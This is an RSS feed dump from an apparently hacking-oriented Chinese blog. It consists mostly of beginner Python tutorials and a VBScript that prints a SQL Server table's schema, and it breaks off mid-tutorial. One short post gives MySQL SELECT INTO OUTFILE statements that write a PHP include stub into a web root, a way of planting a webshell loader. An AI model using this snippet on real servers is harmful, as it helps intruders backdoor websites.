http://hacklu.net/blog/index.php zh-cn http://hacklu.net/blog/post/874/ 樱花浪子 <> Wed, 25 Aug 2010 02:05:26 +0000 http://hacklu.net/blog/post/874/
附件中有。

包含：Orecal、SQL Server、DB2、Informix、Sybase、Mysql、PostgreSQL数据库连接脚本。

这个文件只能在登入之后下载。请先 注册 或 登入

这个文件只能在登入之后下载。请先 注册 或 登入

这个文件只能在登入之后下载。请先 注册 或 登入

这个文件只能在登入之后下载。请先 注册 或 登入

这个文件只能在登入之后下载。请先 注册 或 登入

这个文件只能在登入之后下载。请先 注册 或 登入

这个文件只能在登入之后下载。请先 注册 或 登入 ]]> http://hacklu.net/blog/post/868/ 樱花浪子 <> Mon, 23 Aug 2010 02:14:10 +0000 http://hacklu.net/blog/post/868/ If arg.count = 0 Then
show_help()
wsh.quit
End If
Server = arg(0)
User   = arg(1)
pass   = arg(2)
database_name = arg(3)
table_name = arg(4)
set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={SQL Server};Server=" & Server & ";UID=" & User & ";PWD=" & Pass & ";Database=" & database_name
Set rs = conn.execute("select count(*) as n from " & database_name & ".dbo.sysobjects where id = object_id(N'[dbo].[" & table_name & "]')")
if rs("n") <=0 Then
wsh.echo "table have???"
wsh.quit
End If
sql1="use " &database_name & ";select count(column_name) from information_schema.columns where table_name='" & table_name & "'"
set rs1=conn.execute(sql1)
num = rs1(0)
rs1.close
Set rs1 = Nothing
i = 1
sql2="use " &database_name & ";select column_name,data_type,IS_NULLABLE,character_octet_length,collation_name,domain_name from information_schema.columns where table_name='" & table_name & "' order by ordinal_position"
'wsh.echo sql2

set rs2=conn.execute (sql2)
wsh.echo "if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[" & table_name & "]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)"
wsh.echo "drop table [dbo].[" & table_name & "]"
wsh.echo "GO"
wsh.echo "CREATE TABLE [dbo].[" & table_name & "] ("
do while not rs2.eof
col_dn = rs2("domain_name")
col_name = rs2("column_name")
col_type = rs2("data_type")
col_len = rs2("character_octet_length")
col_an   = rs2("collation_name")
col_is   = rs2("IS_NULLABLE")
sql = chr(9)&"[" & col_name & "] "
If col_dn = "id" Then
sql = sql & col_dn &" "
Else
  
sql = sql & "[" & col_type & "] "
If col_len <> "" Then
   sql = sql & "(" & col_len & ") "
End If
If col_an <> "" Then
   sql = sql & "COLLATE " & col_an
End If
End If


If col_is = "No" Then
sql = sql & " NOT NULL "
Else
sql = sql & " NULL "
End If
If i = num Then
sql = sql & Chr(13)&Chr(10)&") ON [PRIMARY]"
Else
sql = sql & ","
End If
i = i +1
wsh.echo sql
rs2.movenext
loop
wsh.echo "GO"
rs2.close
Set rs2 = Nothing
conn.close
Set conn=Nothing
Sub show_help()
wsh.echo "code by N37P47ch "
wsh.echo "cscript show_table.vbs ip user pass database table"
End Sub ]]> http://hacklu.net/blog/post/852/ 樱花浪子 <> Wed, 11 Aug 2010 16:28:27 +0000 http://hacklu.net/blog/post/852/ Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php include "c:/windows/temp/x.php";?>');
select cmd from a into outfile 'C://AppServ//www//q.php';
Drop TABLE IF EXISTS a;



SELECT '<?php include "c:/windows/temp/x.php";?>' INTO OUTFILE 'C://AppServ//www//abcde.php' ]]> http://hacklu.net/blog/post/772/ 樱花浪子 <> Wed, 10 Jun 2009 04:13:31 +0000 http://hacklu.net/blog/post/772/ 1 遍历文件夹和文件

import  os
import  os.path
#  os,os.path里包含大多数文件访问的函数,所以要先引入它们.
#  请按照你的实际情况修改这个路径
rootdir  =   " d:/download "
for  parent, dirnames, filenames  in  os.walk(rootdir):
     # case 1:
     for  dirname  in  dirnames:
         print  ( " parent is: "   +  parent)
         print  ( " dirname is: "   +  dirname)
     # case 2
     for  filename  in  filenames:
         print  ( " parent is: "   +  parent)
         print  ( " filename with full path : "   +  os.path.join(parent, filename))

''' 知识点:

    * os.walk返回一个三元组.其中dirnames是所有文件夹名字(不包含路径),filenames是所有文件的名字(不包含路径).parent表示父目录.
    * case1 演示了如何遍历所有目录.
    * case2 演示了如何遍历所有文件.
    * os.path.join(dirname,filename) : 将形如"/a/b/c"和"d.java"变成/a/b/c/d.java".
'''




2 分割路径和文件名


import  os.path
# 常用函数有三种:分隔路径,找出文件名.找出盘符(windows系统),找出文件的扩展名.
# 根据你机器的实际情况修改下面参数.
spath = " D:/download/repository.7z "

#  case 1:
p,f = os.path.split(spath);
print ( " dir is: " + p)
print ( " file is: " + f)

#  case 2:
drv,left = os.path.splitdrive(spath);
print ( " driver is: " + drv)
print ( " left is: " + left)
#  case 3:
f,ext = os.path.splitext(spath);
print ( " f is: " + f)
print ( " ext is: " + ext)
'''
    知识点:    这三个函数都返回二元组.
    * case1 分隔目录和文件名
    * case2 分隔盘符和文件名
    * case3 分隔文件和扩展名
'''



总结:5个函数

    * os.walk(spath)
    * os.path.split(spath)
    * os.path.splitdrive(spath)
    * os.path.splitext(spath)
    * os.path.join(path1,path2)


3 实战:文件备份小程序


import  os
import  shutil
import  datetime

'''
作用：将目录备份到其他路径。
实际效果：
假设给定目录"/media/data/programmer/project/python" ，
备份路径"/home/diegoyun/backup/“ ，
则会将python目录备份到备份路径下，形如：
/home/diegoyun/backup/yyyymmddHHMMSS/python/xxx/yyy/zzz..

用法:更改这两个参数.
backdir:备份目的地.
copydirs:想要备份的文件夹.
'''


def  mainLogic():
     # add dirs you want to copy
    backdir = " d:\\test "
     print (backdir)

    copydirs = []
    copydirs.append( " d:\\temp " );
     # copydirs.append("d:\\test");
    
    

     print ( " Copying files  =================== " )
    start = datetime.datetime.now()

     # gen a data folder for backup
    backdir = os.path.join(backdir,start.strftime( " %Y-%m-%d " ))
     # print("backdir is:"+backdir)

    
    kc = 0
     for  d  in  copydirs:
        kc = kc + copyFiles(d,backdir)

    end = datetime.datetime.now()
     print ( " Finished! =================== " )
     print ( " Total files :  "   +  str(kc) )
     print ( " Elapsed time :  "   +  str((end - start).seconds) + "  seconds " )

def  copyFiles(copydir,backdir):
    prefix = getPathPrefix(copydir)
     # print("prefix is:"+prefix )  

    i = 0
     for  dirpath,dirnames,filenames  in  os.walk(copydir):
         for  name  in  filenames:
            oldpath = os.path.join(dirpath,name)
            newpath = omitPrefix(dirpath,prefix)
             print ( " backdir is: " + backdir )          
            newpath = os.path.join(backdir,newpath)
             print ( " newpath is: " + newpath)

             if  os.path.exists(newpath) != True:
                os.makedirs(newpath)  
            newpath = os.path.join(newpath,name)
             print ( " From: " + oldpath + "  to: " + newpath)
            shutil.copyfile(oldpath,newpath)
            i = i + 1
     return  i    

def  getPathPrefix(fullpath):
     # Giving /media/data/programmer/project/ , get the prefix
     # /media/data/programmer/
    l = fullpath.split(os.path.sep)
     # print(str(l[-1]=="")    
     if  l[ - 1 ] == "" :
        tmp = l[ - 2 ]
     else :
        tmp = l[ - 1 ]
     return  fullpath[0:len(fullpath) - len(tmp) - 1 ]

def  omitPrefix(fullpath,prefix):
     # Giving /media/data/programmer/project/python/tutotial/file/test.py ,
     # and prefix is Giving /media/data/programmer/project/,
     # return path as python/tutotial/file/test.py
     return  fullpath[len(prefix) + 1 :]

mainLogic() ]]> http://hacklu.net/blog/post/771/ 樱花浪子 <> Wed, 10 Jun 2009 04:11:56 +0000 http://hacklu.net/blog/post/771/
Python已经是3.1版本了,与时俱进更新教程.

    * 本文适合有Java编程经验的程序员快速熟悉Python
    * 本文程序在windows xp+python3.1a1 测试通过.
    * 本文提到的idle指python shell,即安装python后你在菜单看到的IDLE(python gui)
    * 在idle里ctrl+n可以打开一个新窗口,输入源码后ctrl+s可以保存,f5运行程序.
    * 凡打开新窗口即指ctrl+n的操作.


1 你好
#打开新窗口,输入:

#! /usr/bin/python
# -*- coding: utf8 -*-


s1=input("Input your name:")
print("你好,%s" % s1)

'''
知识点:

    * input("某字符串")函数:显示"某字符串",并等待用户输入.
    * print()函数:如何打印.
    * 如何应用中文
    * 如何用多行注释
'''    


2 字符串和数字

但有趣的是,在javascript里我们会理想当然的将字符串和数字连接,因为是动态语言嘛.但在Python里有点诡异,如下:
#! /usr/bin/python

a=2
b="test"
c=a+b


运行这行程序会出错,提示你字符串和数字不能连接,于是只好用内置函数进行转换
#! /usr/bin/python
#运行这行程序会出错,提示你字符串和数字不能连接,于是只好用内置函数进行转换
a=2
b="test"
c=str(a)+b
d="1111"
e=a+int(d)
#How to print multiply values
print ("c is %s,e is %i" % (c,e))
'''
知识点:

    * 用int和str函数将字符串和数字进行转换
    * 打印以#开头,而不是习惯的//
    * 打印多个参数的方式
    '''


3 列表
#! /usr/bin/python
# -*- coding: utf8 -*-
#列表类似Javascript的数组,方便易用

#定义元组
word=['a','b','c','d','e','f','g']

#如何通过索引访问元组里的元素
a=word[2]
print ("a is: "+a)
b=word[1:3]
print ("b is: ")
print (b) # index 1 and 2 elements of word.
c=word[:2]
print ("c is: ")
print (c) # index 0 and 1 elements of word.
d=word[0:]
print ("d is: ")
print (d) # All elements of word.

#元组可以合并
e=word[:2]+word[2:]
print ("e is: ")
print (e) # All elements of word.
f=word[-1]
print ("f is: ")
print (f) # The last elements of word.
g=word[-4:-2]
print ("g is: ")
print (g) # index 3 and 4 elements of word.
h=word[-2:]
print ("h is: ")
print (h) # The last two elements.
i=word[:-2]
print ("i is: ")
print (i) # Everything except the last two characters
l=len(word)
print ("Length of word is: "+ str(l))
print ("Adds new element")
word.append('h')
print (word)

#删除元素
del word[0]
print (word)
del word[1:3]
print (word)

'''
知识点:

    * 列表长度是动态的,可任意添加删除元素.
    * 用索引可以很方便访问元素,甚至返回一个子列表
    * 更多方法请参考Python的文档
'''


4 字典
#! /usr/bin/python

x={'a':'aaa','b':'bbb','c':12}
print (x['a'])
print (x['b'])
print (x['c'])

for key in x:
    print ("Key is %s and value is %s" % (key,x[key]))
    
'''
知识点:

    * 将他当Java的Map来用即可.

'''


5 字符串

比起C/C++,Python处理字符串的方式实在太让人感动了.把字符串当列表来用吧.
#! /usr/bin/python

word="abcdefg"
a=word[2]
print ("a is: "+a)
b=word[1:3]
print ("b is: "+b) # index 1 and 2 elements of word.
c=word[:2]
print ("c is: "+c) # index 0 and 1 elements of word.
d=word[0:]
print ("d is: "+d) # All elements of word.
e=word[:2]+word[2:]
print ("e is: "+e) # All elements of word.
f=word[-1]
print ("f is: "+f) # The last elements of word.
g=word[-4:-2]
print ("g is: "+g) # index 3 and 4 elements of word.
h=word[-2:]
print ("h is: "+h) # The last two elements.
i=word[:-2]
print ("i is: "+i) # Everything except the last two characters
l=len(word)
print ("Length of word is: "+ str(l))


中文和英文的字符串长度是否一样?
#! /usr/bin/python
# -*- coding: utf8 -*-

s=input("输入你的中文名,按回车继续");
print ("你的名字是  : " +s)

l=len(s)
print ("你中文名字的长度是:"+str(l))


知识点:

    * 类似Java,在python3里所有字符串都是unicode,所以长度一致.


6 条件和循环语句

#! /usr/bin/python
#条件和循环语句

x=int(input("Please enter an integer:"))
if x<0:
    x=0
    print ("Negative changed to zero")

elif x==0:
    print ("Zero")

else:
    print ("More")


# Loops List
a = ['cat', 'window', 'defenestrate']
for x in a:
    print (x, len(x))

#知识点:

#    * 条件和循环语句
#    * 如何得到控制台输入


7 函数
#! /usr/bin/python
# -*- coding: utf8 -*-

def sum(a,b):
    return a+b


func = sum
r = func(5,6)
print (r)

# 提供默认值
def add(a,b=2):
    return a+b
r=add(1)
print (r)
r=add(1,5)
print (r)


一个好用的函数
#! /usr/bin/python
# -*- coding: utf8 -*-

# The range() function
a =range (1,10)
for i in a:
    print (i)
    
a = range(-2,-11,-3) # The 3rd parameter stands for step
for i in a:
    print (i)


知识点:

    * Python 不用{}来控制程序结构,他强迫你用缩进来写程序,使代码清晰.
    * 定义函数方便简单
    * 方便好用的range函数


8 异常处理


#! /usr/bin/python
s=input("Input your age:")
if s =="":
    raise Exception("Input must no be empty.")

try:
    i=int(s)
except ValueError:
    print("Could not convert data to an integer.")
except:
    print("Unknown exception!")
else: # It is useful for code that must be executed if the try clause does not raise an exception
    print("You are %d" % i," years old")
finally: # Clean up action
    print("Goodbye!")


9 文件处理

对比Java,python的文本处理再次让人感动
#! /usr/bin/python

spath="D:/download/baa.txt"
f=open(spath,"w") # Opens file for writing.Creates this file doesn't exist.
f.write("First line 1.\n")
f.writelines("First line 2.")

f.close()

f=open(spath,"r") # Opens file for reading

for line in f:
    print("每一行的数据是:%s"%line)

f.close()


知识点:

    * open的参数:r表示读,w写数据,在写之前先清空文件内容,a打开并附加内容.
    * 打开文件之后记得关闭


10 类和继承
class Base:
    def __init__(self):
        self.data = []
    def add(self, x):
        self.data.append(x)
    def addtwice(self, x):
        self.add(x)
        self.add(x)

# Child extends Base
class Child(Base):
    def plus(self,a,b):
        return a+b

oChild =Child()
oChild.add("str1")
print (oChild.data)
print (oChild.plus(2,3))

'''
知识点:

    * self:类似Java的this参数
    
'''


11 包机制

每一个.py文件称为一个module,module之间可以互相导入.请参看以下例子:
# a.py
def add_func(a,b):
    return a+b


# b.py
from a import add_func # Also can be : import a

print ("Import add_func from module a")
print ("Result of 1 plus 2 is: ")
print (add_func(1,2))    # If using "import a" , then here should be "a.add_func"


module可以定义在包里面.Python定义包的方式稍微有点古怪,假设我们有一个parent文件夹,该文件夹有一个child子文件夹.child中有一个module a.py . 如何让Python知道这个文件层次结构?很简单,每个目录都放一个名为_init_.py 的文件.该文件内容可以为空.这个层次结构如下所示:
parent
  --__init_.py
  --child
    -- __init_.py
    --a.py

b.py


那么Python如何找到我们定义的module?在标准包sys中,path属性记录了Python的包路径.你可以将之打印出来:
import sys

print(sys.path)


通常我们可以将module的包路径放到环境变量PYTHONPATH中,该环境变量会自动添加到sys.path属性.另一种方便的方法是编程中直接指定我们的module路径到sys.path 中:
import sys
import os
sys.path.append(os.getcwd()+'\\parent\\child')

print(sys.path)

from a import add_func


print (sys.path)

print ("Import add_func from module a")
print ("Result of 1 plus 2 is: ")
print (add_func(1,2))


知识点:

    * 如何定义模块和包
    * 如何将模块路径添加到系统路径,以便python找到它们
    * 如何得到当前路径

来自:http://www.cnitblog.com/yunshichen/archive/2009/04/01/55924.html

12 内建帮助手册

对比C++,Java的突出进步是内建Javadoc机制,程序员可以通过阅读Javadoc了解函数用法.Python也内建了一些方便函数以便程序员参考.

    * dir函数: 查看某个类/对象的方法. 如果有某个方法想不起来,请敲dir. 在idle里,试试 dir(list)
    * help函数: 详细的类/对象介绍. 在idle里, 试试 help(list)
]]> http://hacklu.net/blog/post/770/ 樱花浪子 <> Wed, 10 Jun 2009 04:10:06 +0000 http://hacklu.net/blog/post/770/ 问题

问题是我需要对一些重要文件进行备份。尽管这个问题很简单，我们还是要仔细分析。如哪些文件需要备份？备份文件如何存储？存储在哪里？

我列出了解决问题所需要注意的事情。

1.     把需要备份的文件和目录存在一个表中list。

2.     备份文件必须存储在一个主文件夹中。

3.     文件备份成.zip文件

4.     zip文件名是当前日期和时间。

5.     我们使用标准zip命令，windows用户可以安装http:/ / gnuwin32. sourceforge. net/ downlinks/zip. Php。
解法

import os

import time

source=['"C:\\Downloads"','"C:\\gdiplus.dll"']

target_dir='E:\\Backup'

target=target_dir+os.sep+time.strftime('%Y%m%d%H%M%S')+'.zip'

zip_command="zip -qr {0} {1}".format(target,' '.join(source))

os.system("mkdir {0}".format(target_dir))   #我添加了这一句，必须先建此目录

if os.system(zip_command)==0:

    print('Successful backup to',target)

else:

print('Backup FAILED')

运行输出：

>>>

Successful backup to E:\Backup\20090531221407.zip
第二版

第一版可以做些改良，这是软件的维护阶段。其中一个改良之处是文件命名机制。在主备份目录下建立当天目录，在当天目录下建立当时压缩文件。好处一分级结构便于管理，好处二文件名缩短，好处三可以方便判断当天是否备份过。

import os

import time

source=['"C:\\Downloads"','"C:\\gdiplus.dll"']

target_dir='E:\\Backup'

today=target_dir+os.sep+time.strftime('%Y%m%d')

now=time.strftime('%H%M%S')

if not os.path.exists(today):

    os.mkdir(today)

    print('Successfully created directory',today)

  

target=today+os.sep+now+'.zip'

zip_command="zip -qr {0} {1}".format(target,' '.join(source))

os.system("mkdir {0}".format(target_dir))   #我添加了这一句，必须先建此目录

if os.system(zip_command)==0:

    print('Successful backup to',target)

else:

print('Backup FAILED')

运行输出：

>>>

Successfully created directory E:\Backup\20090531

Successful backup to E:\Backup\20090531\223320.zip
第三版

再次改良，加入当天备份时改变部分的注释。

import os

import time

source=['"C:\\Downloads"','"C:\\gdiplus.dll"']

target_dir='E:\\Backup'

today=target_dir+os.sep+time.strftime('%Y%m%d')

now=time.strftime('%H%M%S')

comment=input('Enter a comment --> ')

if len(comment)==0:

    target=today+os.sep+now+'.zip'

else:

    target=today+os.sep+now+'_'+comment.replace(' ','_')+'.zip'

  

if not os.path.exists(today):

    os.mkdir(today)

    print('Successfully created directory',today)

  

zip_command="zip -qr {0} {1}".format(target,' '.join(source))

os.system("mkdir {0}".format(target_dir))   #我添加了这一句，必须先建此目录

if os.system(zip_command)==0:

    print('Successful backup to',target)

else:

print('Backup FAILED')

运行输出：

>>>

Enter a comment --> hello

Successful backup to E:\Backup\20090531\224002_hello.zip
更多的改良

第三版已经能满足需要了，但是还有很多地方可以改良。比如加强互动，或者通过命令行参数传入需要压缩的文件/目录。最重要的改良是不使用外部zip命令，使用内建函数zipfile或tarfile。

软件开发流程

1.     什么（分析）

2.     如何（设计）

3.     实施（编码）

4.     测试（测试和除虫）

5.     使用

6.     维护（改良） ]]> http://hacklu.net/blog/post/769/ 樱花浪子 <> Wed, 10 Jun 2009 04:09:29 +0000 http://hacklu.net/blog/post/769/ 7.Python:数据结构

数据结构就是组织存储一组相关数据的方式。Python有四种内建的数据结构表list，数组tuple，字典dictionary和集合set。
List

表存放有序的项，项在方括号内，项之间有逗号隔开。创建表后，可以对表进行增加项、删除项和查找项操作。

对象和类的简单介绍

表是对象和类的使用的一个例子。类可以有方法，只有当你有这个类的对象时才可以使用该类的方法。List提供append方法用来加入新项，如mylist.append(‘an item’)。类同时还有域，其实就是变量。

shoplist=['apple','mango','carrot','banana']

print('I have',len(shoplist),'items to purchase.')

print('these items are:',end=' ')

for item in shoplist:

    print(item, end=' ')

print('\nI also have to buy rice.')

shoplist.append('rice')

print('my shoplist is now',shoplist)

print('I have sort my list now')

shoplist.sort()

print('Sorted shoplist is',shoplist)

print('the first item i will buy is',shoplist[0])

olditem=shoplist[0]

del shoplist[0]

print('I bought the',olditem)

print('my shopping list is now',shoplist)

运行输出：

>>>

I have 4 items to purchase.

these items are: apple mango carrot banana

I also have to buy rice.

my shoplist is now ['apple', 'mango', 'carrot', 'banana', 'rice']

I have sort my list now

Sorted shoplist is ['apple', 'banana', 'carrot', 'mango', 'rice']

the first item i will buy is apple

I bought the apple

my shopping list is now ['banana', 'carrot', 'mango', 'rice']

help(list)可以看到list的所有方法。
数组（元组）Tuple

元组很像表，只是元组像字符串一样是不可变的，你不能修改元组。元组定义为圆括号括起来的逗号分开的项。

zoo=('python','elephant','penguin')

print('number of animals in the zoo is',len(zoo))

new_zoo=('monkey','camel',zoo)

print('Number of cages in the new zoo is ',len(new_zoo))

print('all animals in the new zoo are',new_zoo)

print('animals brought from old zoo are',new_zoo[2])

print('last animal brought form old zoo is',new_zoo[2][2])

print('Number of animals in the new zoo is',len(new_zoo)-1+len(new_zoo[2]))

运行输出:

>>>

number of animals in the zoo is 3

Number of cages in the new zoo is 3

all animals in the new zoo are ('monkey', 'camel', ('python', 'elephant', 'penguin'))

animals brought from old zoo are ('python', 'elephant', 'penguin')

last animal brought form old zoo is penguin

Number of animals in the new zoo is 5

注意：含0个项的元组myempty=().含1个项的元组singleton={2,}，要有逗号。
字典Dictionary

字典就像一个电话簿，你只需要知道某个人的名字就可以查到这个人的详细信息，我们称其为键（key）和值（value），键必须是唯一的。键只能是不可变对象比如字符串，值可以是可变对象也可以是不可变对象，也就是说只有简单对象能做键。键与值之间用分号隔开，键值对之间用逗号隔开，键值对用大括号括起来，d={key1:value1,key2:value2}

ab={'swroop'    :   'swaroop@swaroopch.com',

    'Larry'     :   'Larry@wall.org',

    'Matsuoto' :   'matz@ruby-lang.org',

    'Spammer'   :   'Spammer@hotmail.com'

    }

print("Swaroop's address is",ab['swroop'])

del ab['Spammer']

print('\nThere are {0} contacts in the address book\n'.format(len(ab)))

for name,address in ab.items():

    print('Contacts {0} at {1}'.format(name,address))

ab['Guido']='guido@python.org'

if 'Guido' in ab:

print("\nGuido's address is",ab['Guido'])

运行输出：

>>>

Swaroop's address is swaroop@swaroopch.com

There are 3 contacts in the address book

Contacts swroop at swaroop@swaroopch.com

Contacts Larry at Larry@wall.org

Contacts Matsuoto at matz@ruby-lang.org

Guido's address is guido@python.org

>>>

测试字典中是否含有某个键可以用操作符in或者方法has_key,具体用法请见help(dict)
序列

表、元组和字符串都是序列，序列的两大特点是具有索引操作符可以取出特定项，具有切片操作符可以截取序列的一部分。

shoplist=['apple','mango','carrot','banana']

name='Swaroop'

print('Item 0 is',shoplist[0])

print('Item 1 is',shoplist[1])

print('Item -1 is',shoplist[-1])

print('Item -2 is',shoplist[-2])

print('Character 0 is',name[0])

print('Item 1 to 3 is',shoplist[1:3])

print('Item 2 to end is',shoplist[2:])

print('Item 1 to -1 is',shoplist[1:-1])

print('Item start to end is',shoplist[:])

print('character 1 to 3 is',name[1:3])

print('character 2 to end is',name[2:])

print('character 1 to -1 is',name[1:-1])

print('character start to end is',name[:])

运行输出：

>>>

Item 0 is apple

Item 1 is mango

Item -1 is banana

Item -2 is carrot

Character 0 is S

Item 1 to 3 is ['mango', 'carrot']

Item 2 to end is ['carrot', 'banana']

Item 1 to -1 is ['mango', 'carrot']

Item start to end is ['apple', 'mango', 'carrot', 'banana']

character 1 to 3 is wa

character 2 to end is aroop

character 1 to -1 is waroo

character start to end is Swaroop

>>>

Python从0开始计数，因此sh0plist[0]取得第一个项，shoplist[3]取得第四个项。索引可以是负数，这时从后往前计数，shoplist[-1]取得最后一个项，shoplist[-2]取得倒数第二个项。切片操作格式是[起始位置:结束位置:步进]，参数都是可选的，起始位置项包含在内，而结束位置项排除在外。Shoplist[1:3]返回第二项和第三项。切片位置也可以是负数，负数表示从序列结束开始数的位置，shoplist[:-1]返回从开始到倒数第二项的序列。

>>> shoplist=['apple','mango','carrot','banana']

>>> shoplist[::1]

['apple', 'mango', 'carrot', 'banana']

>>> shoplist[::2]

['apple', 'carrot']

>>> shoplist[::3]

['apple', 'banana']

>>> shoplist[::-1]

['banana', 'carrot', 'mango', 'apple']

>>>
集合

集合是无序的简单对象合集，当对象的存在与否比对象顺序和对象出现次数重要时，可以使用集合。使用集合，可以测试对象的成员关系，子集关系和求交集。

>>> bri=set(['brazil','russia','india'])

>>> 'india' in bri

True

>>> 'usa' in bri

False

>>> bric=bri.copy()

>>> bric.add('china')

>>> bric.issuperset(bri)

True

>>> bri.remove('russia')

>>> bri&bric #OR bri.intersection(bric)

{'brazil', 'india'}
参考

当你给一个对象赋予一个变量时，该变量仅仅参考该对象，而不能代表该对象，变量名指向内存中存储该对象的地方，这叫做绑定变量名到对象。

print('Simple Assignment')

shoplist=['apple','mango','carrot','banana']

mylist=shoplist #mylist is just another name pointing to the same object!

del shoplist[0]

print('shoplist is',shoplist)

print('mylist is',mylist)

print('Copy by making a full slice')

mylist=shoplist[:]

del mylist[0]

print('shoplist is',shoplist)

print('mylist is',mylist)

运行输出：

Simple Assignment

shoplist is ['mango', 'carrot', 'banana']

mylist is ['mango', 'carrot', 'banana']

Copy by making a full slice

shoplist is ['mango', 'carrot', 'banana']

mylist is ['carrot', 'banana']
关于字符串的更多

字符串类有很多方法，help(str)可以看到。

name='Swaroop'

if name.startswith('Swa'):

    print('Yes,the string starts with "Swa"')

if 'a' in name:

    print('Yes, it contains the string "a"')

if name.find('war')!=-1:

    print('Yes,it contains the string "war"')

delimiter='_*_'

mylist=['Brazil','Russia','India','China']

print(delimiter.join(mylist))

运行输出：

>>>

Yes,the string starts with "Swa"

Yes, it contains the string "a"

Yes,it contains the string "war"

Brazil_*_Russia_*_India_*_China ]]> http://hacklu.net/blog/post/768/ 樱花浪子 <> Wed, 10 Jun 2009 04:08:27 +0000 http://hacklu.net/blog/post/768/
函数可使代码重用，多个函数重用需要使用模块modules。一个模块就是一个包含你定义的函数和变量的文件。

要想在其他程序中使用模块，必须把模块文件的名字存为.py。

模块可以被导入到程序中，python标准库就是这样使用的。

import sys

print('the command line arguments are:')

for i in sys.argv:

    print(i)

print('\n\nThe PythonPath is',sys.path,'\n')

运行输出


首先sys模块包含python解释器的相关函数和环境变量。当执行import sys时，解释器在sys.path所列目录中寻找sys.py文件，找到后模块中主块执行供你使用。初始化仅在模块导入时做一次。argv变量是一个字符串表，存储传送给函数的命令行参数。运行中脚本的名称始终是sys.argv中的第一个。
字节编译的.pyc文件

导入模块花销很大，Python把模块转换成扩展名为.pyc的字节编译文件来减少编译时间。.pyc文件与原.py文件在同一文件夹下，要保证该目录是可写的，此文件是平台依赖的。

from…import…语句

如果只想引入sys模块中的某个变量，可以使用from sys import argv，如果要引入所有变量，可以使用from sys import *。

模块的名称

当模块被导入的时候，主块执行。假如我们只想在程序本身被使用的时候运行主块，而在它被别的模块输入的时候不运行主块，我们该怎么做呢？这可以通过模块的__name__属性完成。

#!/usr/bin/python
# Filename: using_name.py

if __name__ == '__main__':
     print 'This program is being run by itself'
else:
     print 'I am being imported from another module'

运行输出

$ python using_name.py
This program is being run by itself

$ python
>>> import using_name
I am being imported from another module
>>>
制作你自己的模块

每个python程序就已经是一个模块了，你只需要保证文件后缀名是.py就可以了。

#!/usr/bin/python

# Filename: mymodule.py

def sayhi():

    print('Hi, this is mymodule speaking.')

__version__ = '0.1'

# End of mymodule.py

#!/usr/bin/python

# Filename: mymodule_demo.py

import mymodule

mymodule.sayhi()

print ('Version', mymodule.__version__)

运行输出：

$ python mymodule_demo.py

    Hi, this is mymodule speaking.

Version 0.1
dir函数

内建函数dir可以列出模块内所有的变量、类和函数。

>>> import sys

>>> dir(sys)

['__displayhook__', '__doc__', '__excepthook__', '__name__', '__package__', '__stderr__', '__stdin__', '__stdout__', '_clear_type_cache', '_current_frames', '_getframe', 'api_version', 'argv', 'builtin_module_names', 'byteorder', 'call_tracing', 'callstats', 'copyright', 'displayhook', 'dllhandle', 'dont_write_bytecode', 'exc_info', 'excepthook', 'exec_prefix', 'executable', 'exit', 'flags', 'float_info', 'getcheckinterval', 'getdefaultencoding', 'getfilesystemencoding', 'getprofile', 'getrecursionlimit', 'getrefcount', 'getsizeof', 'gettrace', 'getwindowsversion', 'hexversion', 'intern', 'maxsize', 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks', 'path_importer_cache', 'platform', 'prefix', 'setcheckinterval', 'setfilesystemencoding', 'setprofile', 'setrecursionlimit', 'settrace', 'stderr', 'stdin', 'stdout', 'subversion', 'version', 'version_info', 'warnoptions', 'winver']

>>> dir



>>> dir()

['__builtins__', '__doc__', '__name__', '__package__', 'mymodule', 'sys']

>>> a=5

>>> dir()

['__builtins__', '__doc__', '__name__', '__package__', 'a', 'mymodule', 'sys']

>>>

]]> http://hacklu.net/blog/post/767/ 樱花浪子 <> Wed, 10 Jun 2009 04:06:51 +0000 http://hacklu.net/blog/post/767/ 5.Python:函数

函数是可重用的程序块，给程序块起个名字就可以再其他程序中引用改名字，这就是函数调用。已经用过的函数如len和range。

函数使用def关键字来定义，函数名后跟括号，括号中包含变量名，括号后跟冒号。然后是函数代码块。

def sayHello():

    print('Hello world')

sayHello()

sayHello()

运行输出：

>>>

Hello world

Hello world
函数参数

包含在括号中，用逗号分开，调用运行时赋值。

def printMax(a,b):

    if a>b:

        print(a,'is maxium')

    elif a==b:

        print(a,'is equal to',b)

    else:

        print(b,'is maxium')

printMax(3,4)

x=5

y=7

printMax(x,y)

运行输出：

>>>

4 is maxium

7 is maxium
局部变量

局部变量是在函数内部声明的变量，生存域在函数内，可以与函数外的变量同名。

x=50

def func(x):

    print('x is' ,x)

    x=2

    print('changed local x to',x)

func(x)

print('x is still',x)

运行输出：

>>>

x is 50

changed local x to 2

x is still 50
使用全局申明

如果你想在程序的最外层定义变量，你必须告诉python这个变量不是局部的，而是全局的，这可以用global语句来完成。不使用global语句是无法对程序外部定义的变量赋值的。如果在程序内部没有同名变量，那么你可以直接赋值，但是这样很不清楚。

x=50

def func():

    global x

    print('x is',x)

    x=2

    print('changed global x to',x)

func()

print('Value of x is',x)

运行输出：

>>>

x is 50

changed global x to 2

Value of x is 2
使用nonlocal语句

在局部和全局之间还有一种域，叫做非局部域nonlocal，当在函数中定义函数时，就会出现非局部域。

def func_outer():

    x=2

    print('x is',x)

    def func_inner():

        nonlocal x

        x=5

    func_inner()

    print('Changed local x to',x)

func_outer()

运行输出：

>>>

x is 2

Changed local x to 5
缺省参数值

某些函数的参数需要设置成可选的，当用户没有指定该参数值时，函数中使用此参数的默认值。设置默认值的方法是在函数声明时该参数后跟“=”和默认值，注意默认值应该是常量，或者说是不可变值。

def say(message,times=1):

    print(message*times)

say('Hello')

say('World',5)

运行输出：

>>>

Hello

WorldWorldWorldWorldWorld

注意：具有默认值的参数应该放在没有默认值参数的后面。
关键字参数

指定参数值时可以使用参数名，也可以按照参数在函数定义中的位置。这样做有两个好处，一是不用记参数的顺序了，二是只需要给必须赋值的参数赋值。

def func(a,b=5,c=10):

    print('a is',a,'and b is',b,'anc c is',c)

func(3,7)

func(25,c=24)

func(c=50,a=100)

运行输出：

a is 3 and b is 7 anc c is 10

a is 25 and b is 5 anc c is 24

a is 100 and b is 5 anc c is 50
可变参数函数

有时候你可能需要定义一个具有可变参数个数的函数，使用‘*’可以达到效果。

def total(initial=5,*numbers,**keywords):

    count=initial

    for number in numbers:

